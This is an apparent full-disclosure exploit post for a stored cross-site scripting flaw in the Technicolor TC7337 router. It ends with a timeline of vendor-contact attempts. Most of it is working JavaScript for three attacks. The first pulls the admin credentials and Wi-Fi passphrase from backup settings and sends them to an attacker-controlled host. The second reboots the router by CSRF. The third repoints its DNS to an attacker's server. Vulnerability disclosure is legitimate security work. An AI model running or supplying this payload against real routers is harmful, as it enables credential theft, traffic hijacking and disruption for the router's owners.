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Technicolor TC7337 Cross Site Scripting

Posted on 03 August 2017

// Device : Technicolor TC7337
// Vulnerable URL : https://your.rou.ter.ip/wlscanresults.html
// XSS through SSID : '><script src=//url.co></script> ( Exactly 32
bytes u_u )
// ^
// 5char domains are running | 'src' does not requires quotes ,
and passing the URL with ony '//'
// out, grab yours ! +---> it will cause the browser to make
the request with the current protocol,
// which is HTTP , duh
// Below is the content of url.co/index.html
// index.html ( which is just a JavaScript actually, but we have to
use the index to fit the 32 chars ) :

function get_passwords(attackers_server) {
// attackers_server = server to send the credentials
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// XSS to get Admin's login/passwd + Wifi passphrase
// from backup settings

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "/backupsettings.cmd", false); // GET the Backup XML
xmlhttp.send();
var k = xmlhttp.responseText.indexOf("Admin") ; // Search for Admin's
Login and Password
var y = xmlhttp.responseText.indexOf("KeyPassphrase") ; // Search for
Wifi PassPhrase
// Add a img requesting the attacker website with the leaked
passwords in the GET parameters
document.write('<img src="'+attackers_server+'?net='+
encodeURIComponent(xmlhttp.responseText.slice(k,k+100)+xmlhttp.responseText.slice(y,y+80))+'">');
}

function reboot_router() {
// XSS + CSRF reboot router
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Why? Because It's fun to watch a XSS doing 'physical' stuff

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "/resetrouter.html", false); // GET the page of
the reset interface
xmlhttp.send();
var w = xmlhttp.responseText.indexOf("Key") ; // Search for the
SessionKey, some sort of CSRF Token
var sessionKey =
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex
because the key is inside quotes

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "/rebootinfo.cgi?sessionKey="+sessionKey, false);
// Request the reboot page with the CSRF token
xmlhttp.send();
}

function dns_poisoning(attackers_dns) {
// attackers_dns = malicious DNS Server
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ holy shit
my code is ugly as fuck , sorry world
// Alter the DNS Config of the Router
// changing the Primary and Secondary DNS to the attacker's one

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page
xmlhttp.send();
var w = xmlhttp.responseText.indexOf("Key") ; // Search for the
SessionKey, some sort of CSRF Token
var sessionKey =
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex
because the key is inside quotes
var i_wanip = xmlhttp.responseText.indexOf("wanip") ;
var wanip = xmlhttp.responseText.slice(i_wanip,i_wanip+30).match(/'([^']+)'/)[1]
;
var i_wansubnet = xmlhttp.responseText.indexOf("wansubnet") ;
var wansubnet =
xmlhttp.responseText.slice(i_wansubnet,i_wansubnet+30).match(/'([^']+)'/)[1]
;
var i_wangatewayip = xmlhttp.responseText.indexOf("wangatewayip") ;
var wangatewayip =
xmlhttp.responseText.slice(i_wangatewayip,i_wangatewayip+30).match(/'([^']+)'/)[1]
;

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",
"/rede-dnsv4.cgi?enblDhcpClnt=0&wanIpAddress="+wanip+"&wanIfName=wanbridge&wanSubnetMask="+wansubnet+"&wanIntfGateway="+wangatewayip+"&dnsPrimary="+attackers_dns+"&dnsSecondary="+attackers_dns+"&sessionKey="+sessionKey,
false);
xmlhttp.send(); // Send the request to SAVE the Primary and Secondary
DNS with the CSRF Token

//After saving we need to apply the settings. yeah, fuck logic --'

//Getting a brand NEW SessionKey
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page
xmlhttp.send();
var w = xmlhttp.responseText.indexOf("Key") ; // Search for the
SessionKey, some sort of CSRF Token
var sessionKey =
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex
because the key is inside quotes

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "/wandnscfg.cmd?sessionKey="+sessionKey, false);
// GET the apply DNS page
xmlhttp.send();
}

//Choose your path !
//get_passwords("https://evil.domain/") ;
//reboot_router();
dns_poisoning("1.3.3.7")

// TimeLine
// ---------
// 08/07/2017 - First email sent to the vendor (no answer)
// 16/07/2017 - Second email sent to the vendor (no answer)
// 18/07/2017 - Third email sent to the vendor (no answer)
// 02/08/2017 - Full Disclosure

 

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